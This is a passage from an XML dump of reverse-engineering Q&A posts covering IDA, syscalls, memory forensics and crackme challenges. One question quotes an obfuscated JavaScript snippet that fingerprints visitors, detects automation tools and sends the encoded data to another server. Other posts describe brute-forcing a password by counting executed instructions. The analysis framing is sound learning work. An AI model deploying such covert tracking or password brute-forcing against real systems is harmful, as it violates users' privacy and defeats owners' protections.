&quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When loading the executable with IDA, neither the &quot;Local Types&quot; window nor the &quot;Structures&quot; window shows anything about &lt;code&gt;CFile&lt;/code&gt;. Therefore, the functions which use them, use offsets to refer to the members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MfyoO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MfyoO.png&quot; alt=&quot;Pseudocode of CFile::CFile&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;In this particular case I use &lt;code&gt;CFile&lt;/code&gt;, but I assume it's similar for other classes.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can go to the header file in &lt;code&gt;atlmfc\&lt;/code&gt; to read the class definition and work out the member names, but that's too tedious and IDA may have it built-in already. So:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;The question&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Is there any way to quickly give IDA the definition of &lt;code&gt;CFile&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="25171" LastEditorUserId="25171" LastEditDate="2018-09-20T12:45:13.280" LastActivityDate="2018-10-25T16:00:18.420" Title="Find MFC class memory layout automatically in IDA?" Tags="|ida|mfc|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19407" PostTypeId="2" ParentId="19399" CreationDate="2018-09-20T11:19:20.980" Score="0" Body="&lt;p&gt;I recommend you to use differential debugging. You can do it &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/pin/pin_tutorial.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;with IDA&lt;/a&gt; or with other tools like &lt;a href=&quot;https://github.com/google/binnavi&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinNavi&lt;/a&gt; (if your target is a 32bits one). Basically, you have to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Record an initial trace since the beginning of the game, do things in the game and then exit from the game's menu.&lt;/li&gt;&#xA;&lt;li&gt;Record a new trace and, this time, put the window out of the focus.&lt;/li&gt;&#xA;&lt;li&gt;Diff the previous 2 traces and see where is the new code that was executed specifically at the 2nd trace.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-09-20T11:19:20.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19408" PostTypeId="1" AcceptedAnswerId="19409" CreationDate="2018-09-20T13:29:35.763" Score="1" ViewCount="158" Body="&lt;p&gt;I wanted to ask whether there is a simple way to see an object's structure (like windbg's &quot;dt&quot; command equivalent)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming of course I have the pdb file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="25735" LastActivityDate="2018-09-20T14:55:56.337" Title="Windbg's &quot;dt&quot; equivalent in IDA?" Tags="|ida|static-analysis|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19409" PostTypeId="2" ParentId="19408" CreationDate="2018-09-20T14:55:56.337" Score="2" Body="&lt;p&gt;You need to import your structure to idb in the local types window (shift F1), then you can apply your imported structure on the data which is pointed by cursor (ALT-Q)&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-20T14:55:56.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19411" PostTypeId="2" ParentId="19387" CreationDate="2018-09-20T17:32:22.650" Score="0" Body="&lt;p&gt;I guess I found the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I incorrectly translated the assembly &lt;code&gt;SUBS    R3, #AAh&lt;/code&gt; into &lt;code&gt;r3 = param3 - 0xAA;&lt;/code&gt; but it should be &lt;code&gt;param3 = param3 - 0xAA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could an expert confirm my mistake?&lt;/p&gt;&#xA;" OwnerUserId="25393" LastActivityDate="2018-09-20T17:32:22.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19412" PostTypeId="1" CreationDate="2018-09-20T18:01:10.553" Score="1" ViewCount="1011" Body="&lt;p&gt;Given this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;var&#xA;_0x4c36=['w6rChcKeWsKXw7TCocOlNF8Kw7bCuMKdKsOWTMKjF2A=','V3PClhXDu8OCCMO5WwbCp8KhD8KVw7LDo8KOwr7CiA==','w6saBzVaIwbDk8OqHMKGwpvDgzzCixMTMMOL','w5HClUhaw5TDlQM6GVJMS8KmD8KYXTfCgynCtxU=','w6rDkRl2ehcFDcOVVBpibHlAIG4IKcOq','wr3Co8K0QsOGGsO2WcOHDMKpwoxSVGJKc8OHMBbCgivDnA==','WMKMQXbCpAzCpcOJP0HCkSXCuTQP','ZcOXAsOfw5rChMOGVsOESXEI','w6LDu2h7wrAwFcON','w6Ikw4nClFQZw5RHw5Rvwo/DhcKGacO8','w7V9wrrDrkEaMcOVaWbDv8Ka','w5LDqwtPahEeEsOSUzFy','w7PDkcOBUcK+w7U=','XcKpw7LDgW7DglZ+','RcKzwqc2RcOEH2vDhw==','dsKZw4/DnHvDg0x0wqdPZg==','w6HDhsOqaH7CrMOSw5I=','dMOFw6DCiQ==','F8O8w5o7LmbCsgA=','QcK0w4TDkw==','wpXCg8ODOcKow5DColY=','w7pqwqvDiQ==','w7DDmcOuVsKTw5LDrg==','w5Uvw4vCr8OIVAZLw6zCn0HCuEk=','dWLCjxM=','eMOGwpbDgDPCjFzCs8KubV4geW/Cvg==','wozCuErDo8KlBsODUQc=','w4IoZMK5w5s=','w4lTHA==','w4bCrsKbVsKbw7fCusOqOw==','w6JEwrjCgTvCjRdYIcOjw5hZYSZr','w7jDh8O6VsKFw7nDi8ONw4nCrjE=','wpXCicOOP8Kow5E=','w5PDvBBjXQ0NCcOzSSFy','RQ7CvcO3O2fDhsK6w5fCgg==','w6VDwrrChhXChx1JJcO7','w6ouw4TChk0U','wpbDtMOJw613HDA=','w5PDsUDDohvDlsKE','KMKGZ8KbccON','w6PDjMO7U8Kpw640wq8=','wpbDtMOdw754HTHChg==','wo4NT8KFwowHw5B0wrciwqI=','RWI6Un7DvhxXwptFaw==','w6XDsVdqwqwwDsOH','wopbwpBEQWLCiWbDkCd8','w6Jwwq/DgUEBLg==','D8O8w6ouKGbCswk=','wpAGQ8KEwowmw4N4wqI=','w6rCicKMU8KQw77CusO5L2Uxw63CmMK0GcOfWsKtEWE5wrM=','w5dGbMO4J8Kxw4oAwpjChzgS','wrgQRMKMwpshw5xowr0=','V3PCkhXDtcODFMO5WA7CisKbCsKXw6zDv8Kfwr7CssKFw5U='];(function(_0x2566b1,_0x524125){var&#xA;_0x1212d5=function(_0x2b1926){while(--_0x2b1926){_0x2566b1['push'](_0x2566b1['shift']());}};_0x1212d5(++_0x524125);}(_0x4c36,0x15e));var&#xA;_0x1060=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x4c36[_0x2d8f05];if(_0x1060['ZyRSGR']===undefined){(function(){var&#xA;_0x36c6a6=function(){var _0x33748d;try{_0x33748d=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3e4c21){_0x33748d=window;}return&#xA;_0x33748d;};var _0x5c685e=_0x36c6a6();var _0x3e3156='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5c685e['atob']||(_0x5c685e['atob']=function(_0x1e9e81){var&#xA;_0x292610=String(_0x1e9e81)['replace'](/=+$/,'');for(var _0x151bd2=0x0,_0x558098,_0xd7aec1,_0x230f38=0x0,_0x948b6c='';_0xd7aec1=_0x292610['charAt'](_0x230f38++);~_0xd7aec1&amp;amp;&amp;amp;(_0x558098=_0x151bd2%0x4?_0x558098*0x40+_0xd7aec1:_0xd7aec1,_0x151bd2++%0x4)?_0x948b6c+=String['fromCharCode'](0xff&amp;amp;_0x558098&amp;gt;&amp;gt;(-0x2*_0x151bd2&amp;amp;0x6)):0x0){_0xd7aec1=_0x3e3156['indexOf'](_0xd7aec1);}return _0x948b6c;});}());var _0x29929c=function(_0x5dd881,_0x4b81bb){var _0x18d5c9=[],_0x4ce2f1=0x0,_0x333808,_0x432180='',_0x2ab90b='';_0x5dd881=atob(_0x5dd881);for(var&#xA;_0x991246=0x0,_0x981158=_0x5dd881['length'];_0x991246&amp;lt;_0x981158;_0x991246++){_0x2ab90b+='%'+('00'+_0x5dd881['charCodeAt'](_0x991246)['toString'](0x10))['slice'](-0x2);}_0x5dd881=decodeURIComponent(_0x2ab90b);for(var&#xA;_0x57b080=0x0;_0x57b080&amp;lt;0x100;_0x57b080++){_0x18d5c9[_0x57b080]=_0x57b080;}for(_0x57b080=0x0;_0x57b080&amp;lt;0x100;_0x57b080++){_0x4ce2f1=(_0x4ce2f1+_0x18d5c9[_0x57b080]+_0x4b81bb['charCodeAt'](_0x57b080%_0x4b81bb['length']))%0x100;_0x333808=_0x18d5c9[_0x57b080];_0x18d5c9[_0x57b080]=_0x18d5c9[_0x4ce2f1];_0x18d5c9[_0x4ce2f1]=_0x333808;}_0x57b080=0x0;_0x4ce2f1=0x0;for(var&#xA;_0x219af0=0x0;_0x219af0&amp;lt;_0x5dd881['length'];_0x219af0++){_0x57b080=(_0x57b080+0x1)%0x100;_0x4ce2f1=(_0x4ce2f1+_0x18d5c9[_0x57b080])%0x100;_0x333808=_0x18d5c9[_0x57b080];_0x18d5c9[_0x57b080]=_0x18d5c9[_0x4ce2f1];_0x18d5c9[_0x4ce2f1]=_0x333808;_0x432180+=String['fromCharCode'](_0x5dd881['charCodeAt'](_0x219af0)^_0x18d5c9[(_0x18d5c9[_0x57b080]+_0x18d5c9[_0x4ce2f1])%0x100]);}return&#xA;_0x432180;};_0x1060['Pjsvdu']=_0x29929c;_0x1060['vLOTlN']={};_0x1060['ZyRSGR']=!![];}var&#xA;_0x441e3a=_0x1060['vLOTlN'][_0x2d8f05];if(_0x441e3a===undefined){if(_0x1060['DuRerv']===undefined){_0x1060['DuRerv']=!![];}_0x4d74cb=_0x1060['Pjsvdu'](_0x4d74cb,_0x4b81bb);_0x1060['vLOTlN'][_0x2d8f05]=_0x4d74cb;}else{_0x4d74cb=_0x441e3a;}return&#xA;_0x4d74cb;};function enc(_0xf00bfa,_0x38d001){var _0x3bf9f7='';for(var _0x551157=0x0;_0x551157&amp;lt;_0xf00bfa[_0x1060('0x0','N^4o')];_0x551157++){_0x3bf9f7+=String[_0x1060('0x1','#ij$')](_0xf00bfa[_0x1060('0x2','V(s$')](_0x551157)^_0x38d001[_0x1060('0x3','vSXv')](_0x551157%_0x38d001[_0x1060('0x4','s@Ce')]));}return&#xA;_0x3bf9f7;}var a=[navigator['userAgent'],new Date(),(navigator[_0x1060('0x5','XHP5')]instanceof PluginArray?navigator[_0x1060('0x6','H#g9')][_0x1060('0x7','YFnJ')]:0x0)[_0x1060('0x8','^G*e')](),navigator[_0x1060('0x9','XHP5')],window[_0x1060('0xa','mPj%')]['toString'](),window[_0x1060('0xb','dvzq')][_0x1060('0xc','Yk&amp;amp;1')](),(_0x1060('0xd','M3FO')in window||'_phantom'in window||_0x1060('0xe','RmJ7')in window)[_0x1060('0xf','#Hws')](),(_0x1060('0x10','mPj%')in window||_0x1060('0x11','6uL5')in window||_0x1060('0x12','4(ga')in window||_0x1060('0x13','mPj%')in window||_0x1060('0x14',']eFZ')in document||'__driver_evaluate'in document||_0x1060('0x15','6uL5')in document||_0x1060('0x16',']eFZ')in document||_0x1060('0x17','hSFx')in document||'__driver_unwrapped'in document||_0x1060('0x18','tUlI')in document||'__selenium_unwrapped'in document||_0x1060('0x19','#ij$')in document||_0x1060('0x1a','&amp;amp;d04')in document||document[_0x1060('0x1b','O91g')][_0x1060('0x1c','#!^O')](_0x1060('0x1d','Yk&amp;amp;1'))!==null||document[_0x1060('0x1e','s@Ce')][_0x1060('0x1f','RmJ7')]('webdriver')!==null||document['documentElement'][_0x1060('0x20','#ij$')](_0x1060('0x21','^G*e'))!==null)[_0x1060('0x22','WiT#')](),(_0x1060('0x23','G]pe')in navigator)['toString'](),(!!window[_0x1060('0x24','WiT#')])[_0x1060('0x25','P!LY')](),window['location'][_0x1060('0x26','pBo%')]['indexOf']('?')===-0x1?'':window[_0x1060('0x27','#Hws')][_0x1060('0x28','WiT#')]['substring'](window[_0x1060('0x29','N^4o')][_0x1060('0x2a','RmJ7')][_0x1060('0x2b','QIdi')]('?')+0x1)];var b=document[_0x1060('0x2c','Nasw')]('script');b[_0x1060('0x2d','5G6)')]=_0x1060('0x2e','0SYn');var c=&quot;cmljx14.js?rbmcpgy=&quot;;var k=&quot;cmljx14&quot;;b[_0x1060('0x31','DnJH')]=c+btoa(enc(JSON[_0x1060('0x32','6uL5')](a),k));document[_0x1060('0x33','vSXv')][_0x1060('0x34','QIdi')](b);&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that this script is sending the following strings to another server:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;NxIsBRwLGQBRTl9IUlVEfQAJDwwBA0MJUUYrGxhVDUorAxZMfzJKPkJEXG9QWTlUXExxERoKByIJUioDEk1AXwdPWVBCXSd4NScqTlUAWQoPRiUQD1sOQ0YhHR5fDA9JVE1CAE9ZUlZFQgFRXEYxFApREwNJV0ZbHlJcRE5XXgBQUktSTEEBUT5WUk9cB1teVUxEWAc7SEpARk4cQycHATwCRAQGRE5XVABWSEpARFgBVkhKQBMNXBIPRE5XClENGQNAWU5WAAYVB1dAEgcLChEQThxDSDs=&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;aBR+GUNaWl8XFgYYA1YRfldQH1dHWUAeAhN/XQJcXxZ+F1oTeWBWYRMHA1gIAA0TBE8JAAJYCRoWdBNaWFkcRAkCBgNHCQIWdR9LVlBcDhYFBx1GGx8UAUYICxsDTxQDD2dECAkHAkwJAhgHQg5pFB9UCREaETtYUH9dAlxfFB9UDQsAEVobAgYBQRsfFFUXVUBTEVobVVdfBVwRGhECS0ZTEVobVVdfBVwRGhFUZA==&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;L1s6AxYPDVoWW0xZXExOLFcUHRcDAx8OWhY+Gg0SAEwrAFVXOypXNExXURhGR0JXHhpcVwdZRFBXKwkFCllYRklGXFxXUQdXMhAFCQoJGRlBRVdHTkBEUwZGTFRHVUFXUWJHRENHVVZWUhhFREEtTkBEURRbVjQWDyUIFVMbVlVVWVxRQxpVRUlDVE5KQ1AWGAoSTkBEB1cbBxxVQE4SE0MSVlVVCg0KElNVWFtVMQ==&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;L1s6AxYPDVoWW0xZXExOLFcUHRcDAx8OWhY+Gg0SAEwrAFVXOypXNExXUWlGRyZBRUwnEUYbES4SDicPFRlCR05ZX1pGSX0/IDQ7QEwKCF0SVD4SDwcJSBY0HAsYAQlJVw5ZRFdEWFhWTwdHQlkkDQoHE19YQUpAQl9QQxpVRklGVEFWWBtGRC1HXFZWWQxFQldBWFQ8QxpVR1tbTiEHAn8ZABwbTkBEWQZAVlVVXVhXVhRbVh8WAB8DQxpVEhgbHwlETRQRFRUECU5KQ1AWGAoSTkBEQ2s=&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The different strings are produced by visiting the site with different user agents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is de-obfuscating this possible?&lt;/p&gt;&#xA;" OwnerUserId="25738" LastActivityDate="2018-10-21T15:00:48.823" Title="How do you un-obfuscate JS code that is evaluating your browser environment?" Tags="|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19413" PostTypeId="2" ParentId="19392" CreationDate="2018-09-20T19:23:35.330" Score="2" Body="&lt;p&gt;It's difficult to say without the sample, but you need to keep in mind that the dynamic loader &lt;em&gt;does not care&lt;/em&gt; about sections. It only uses information from the program headers, including the &lt;code&gt;PT_DYNAMIC&lt;/code&gt; entry (it may well be different from the &lt;code&gt;.dynamic&lt;/code&gt; section in which case the section's contents is simply ignored).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While customarily the GOT starts at the beginning of the &lt;code&gt;.got&lt;/code&gt; section, it is not a requirement for the loader to do its job. It only uses the dynamic tags and dynamic relocation info (&lt;code&gt;DT_JMPREL&lt;/code&gt;, &lt;code&gt;DT_PLTREL&lt;/code&gt;, &lt;code&gt;DT_REL&lt;/code&gt;, plus &lt;code&gt;DT_SYMTAB&lt;/code&gt;,&lt;code&gt;DT_STRTAB&lt;/code&gt; and &lt;code&gt;DT_HASH&lt;/code&gt; and for symbol resolution). In fact, you can remove the section table completely and the file will still run (but some tools may have difficulties parsing it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly some other section got merged with &lt;code&gt;.got&lt;/code&gt;, although I don't know what it could be.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-20T19:23:35.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19416" PostTypeId="1" CreationDate="2018-09-21T10:33:05.430" Score="0" ViewCount="5052" Body="&lt;p&gt;To my knowledge, &lt;a href=&quot;https://syscalls.kernelgrok.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is a decent resource to know the parameters of a Linux syscall. However, this only lists 32 bit syscalls, not the 64 bit ones. Moreover, the reference doesn't say which register is being used by what parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I understand, the man-pages for the libc wrappers or referring to the Linux kernel headers can be a solution. But, I am looking for a more friendly resource that can be consulted quickly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is an authentic resource to know the parameter to register mappings?&lt;/li&gt;&#xA;&lt;li&gt;Is there a resource for 64 bit syscalls as well?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-09-22T20:50:09.040" Title="How to know the arguments of a Linux syscall?" Tags="|linux|system-call|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19418" PostTypeId="2" ParentId="19412" CreationDate="2018-09-21T14:40:07.507" Score="1" Body="&lt;p&gt;Start from making JS code more readable using some JS beautifier, there are online tools for that too: &lt;a href=&quot;https://beautifier.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beautifier.io&lt;/a&gt;&#xA;Then start debugging it in some JS IDE, or just in Chrome developer tools to understand how it works. Then make the proper names for the functions and the variables.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-21T14:40:07.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19420" PostTypeId="1" CreationDate="2018-09-22T02:11:35.840" Score="1" ViewCount="103" Body="&lt;p&gt;I am studying reading dumped memory image and analyzing it with volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote this c# program and I was hoping to see the analyzed data from Volatiliy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace CSharpEx1&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args)&#xA;        {&#xA;            int numberA = 12345;&#xA;            string textA = &quot;This is Message&quot;;&#xA;            var someClassA = new SomeClassA();&#xA;            Console.WriteLine(&quot;Something printed here&quot;);&#xA;            Console.ReadKey();&#xA;        }&#xA;&#xA;        class SomeClassA&#xA;        {&#xA;            private int _numberB;&#xA;            private string _textB;&#xA;&#xA;            public SomeClassA()&#xA;            {&#xA;                _numberB = 67890;&#xA;                _textB = &quot;Another Message&quot;;&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to see: numberA, textA, numberB and textB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I was clear, thanks for any direction&lt;/p&gt;&#xA;" OwnerUserId="23576" LastActivityDate="2018-09-22T02:11:35.840" Title="Can I see Stack and Heap value/addresses from this simple C# program process?" Tags="|memory|c#|digital-forensics|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19421" PostTypeId="2" ParentId="14149" CreationDate="2018-09-22T08:21:02.940" Score="2" Body="&lt;p&gt;As @Naz stated, you can use ODBGScript.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download it from here:&lt;br&gt;&#xA;&lt;a href=&quot;https://sourceforge.net/projects/odbgscript/files/English%20Version/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceforge.net/projects/odbgscript/files/English%20Version/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I downloaded &lt;code&gt;ODbgScript.1.82.rar&lt;/code&gt;.&lt;br&gt;&#xA;Copy the files to the OllyDbg (1.10v) folder.&lt;br&gt;&#xA;I copied to the OllyDbg folder because this is also the Plugin's folder I defined in &lt;code&gt;Appearance -&amp;gt; Directories -&amp;gt; Plugin path&lt;/code&gt;.&lt;br&gt;&#xA; * Notice that there are two Dlls:&#xA; 1. ODbgScript.dll&#xA; 2. ODbgScript_Win2k.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you copy both of them it will appear twice.&lt;br&gt;&#xA;In this picture I added only one:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j9bbC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9bbC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2018-09-22T08:21:02.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19423" PostTypeId="2" ParentId="19416" CreationDate="2018-09-22T11:29:17.037" Score="1" Body="&lt;p&gt;I wouldn't call it &lt;em&gt;authentic&lt;/em&gt;, but &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; surely is a source I've been using for quite some time now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double click on the line of the syscall to see what the parameters are (and their types). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may see things like &lt;code&gt;struct sockaddr __user&lt;/code&gt;, for these you need to dig a bit into the source files.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastActivityDate="2018-09-22T11:29:17.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19424" PostTypeId="1" CreationDate="2018-09-22T11:50:35.977" Score="3" ViewCount="839" Body="&lt;p&gt;I saw the &lt;code&gt;File -&amp;gt; Load File -&amp;gt; Additional Binary File&lt;/code&gt; option and tried it out. Now I want my original IDA database back (with just one binary), but can't afford to lose the comments I have saved in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to remove a binary after importing it?&lt;/p&gt;&#xA;" OwnerUserId="25752" LastActivityDate="2018-10-25T23:00:04.520" Title="Remove Binary from IDA Database" Tags="|ida|disassembly|binary-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19427" PostTypeId="2" ParentId="19416" CreationDate="2018-09-22T20:50:09.040" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-on-i386-and-x86-6&quot;&gt;This StackOverflow answer&lt;/a&gt; is a great resource.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, for 32 bits: Syscall number is eax. ebx, ecx, edx, esi, edi, ebp are used for arguments. You invoke the syscall with &lt;code&gt;int 0x80&lt;/code&gt;. All registers are preserved after the syscall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 64 bit, that answer cites &lt;a href=&quot;http://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; specification, which might be a good &quot;authentic resource&quot; as you asked for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is a good syscall table for 64 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://syscalls.kernelgrok.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is a good syscall table for 32-bit.&lt;/p&gt;&#xA;" OwnerUserId="23765" LastActivityDate="2018-09-22T20:50:09.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19428" PostTypeId="2" ParentId="19390" CreationDate="2018-09-22T20:55:08.710" Score="1" Body="&lt;p&gt;If the number of instructions executed is proportional to the number of characters correct (i.e, maybe it's a simple byte-by-byte strcmp), then you could use instrumentation tools like &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pintool&lt;/a&gt; to count the number of instructions executed, and use that to brute-force the password byte-by-byte. &lt;a href=&quot;https://github.com/mattfeng/hsf/tree/master/2016/isengard_fixed&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's&lt;/a&gt; an example of that.&lt;/p&gt;&#xA;" OwnerUserId="23765" LastActivityDate="2018-09-22T20:55:08.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19429" PostTypeId="1" AcceptedAnswerId="19430" CreationDate="2018-09-23T00:01:31.083" Score="3" ViewCount="430" Body="&lt;p&gt;I'll get right to the point, I have a crack me program, that is a program with a password inside that needs to be found so that you can complete the challenge.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I easily &lt;strong&gt;found the cmp instruction&lt;/strong&gt; with the password, &lt;strong&gt;but the numeric password was multiplied by 2.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the program &lt;strong&gt;does not have anything to multiply&lt;/strong&gt; or divide the password, then this must be caused by something else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I had to get the hexadecimal value of the password convert to decimal and &lt;strong&gt;divide by 2&lt;/strong&gt; to have the &lt;em&gt;real&lt;/em&gt; password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the cmp instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP DWORD PTR SS:[EBP-C],961DB0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x961DB0 / 2 is the password.&lt;br&gt;&#xA;  EBP-C has the password.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to know why the password has been multiplied by 2 in this cmp instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iePIQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iePIQ.png&quot; alt=&quot;OLLYDBG SEEING THE PASSWORD&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A photo of the Source Code, I do not have it without being in the photo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ywXfZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ywXfZ.png&quot; alt=&quot;SOURCE CODE !!&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="25758" LastActivityDate="2018-10-01T17:44:00.440" Title="Disassembly - Why the CMP instruction is multiplying by 2 the value being compared" Tags="|disassembly|ollydbg|debuggers|disassemblers|crackme|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19430" PostTypeId="2" ParentId="19429" CreationDate="2018-09-23T00:53:18.927" Score="4" Body="&lt;p&gt;The &lt;code&gt;cmp&lt;/code&gt; instruction does not multiply anything by two. Instead, the piece of code seen in your ollydbg screen shot is the implementation of the following line from the poor quality source code image you attached:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((!key) || (key &amp;gt; (0x1337 * 2000)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, in address &lt;code&gt;0x01051C09&lt;/code&gt;, &lt;code&gt;key&lt;/code&gt; is compared to &lt;code&gt;0&lt;/code&gt;. If &lt;code&gt;key&lt;/code&gt; equals &lt;code&gt;0&lt;/code&gt; a jump to &lt;code&gt;0x01051C18&lt;/code&gt; is taken. Otherwise, &lt;code&gt;key&lt;/code&gt; is compared to &lt;code&gt;0x0961DB0&lt;/code&gt;. If &lt;code&gt;key&lt;/code&gt; is below or equal to &lt;code&gt;0x0961DB0&lt;/code&gt; another jump is taken. If &lt;code&gt;key&lt;/code&gt; is &lt;em&gt;greater&lt;/em&gt; than 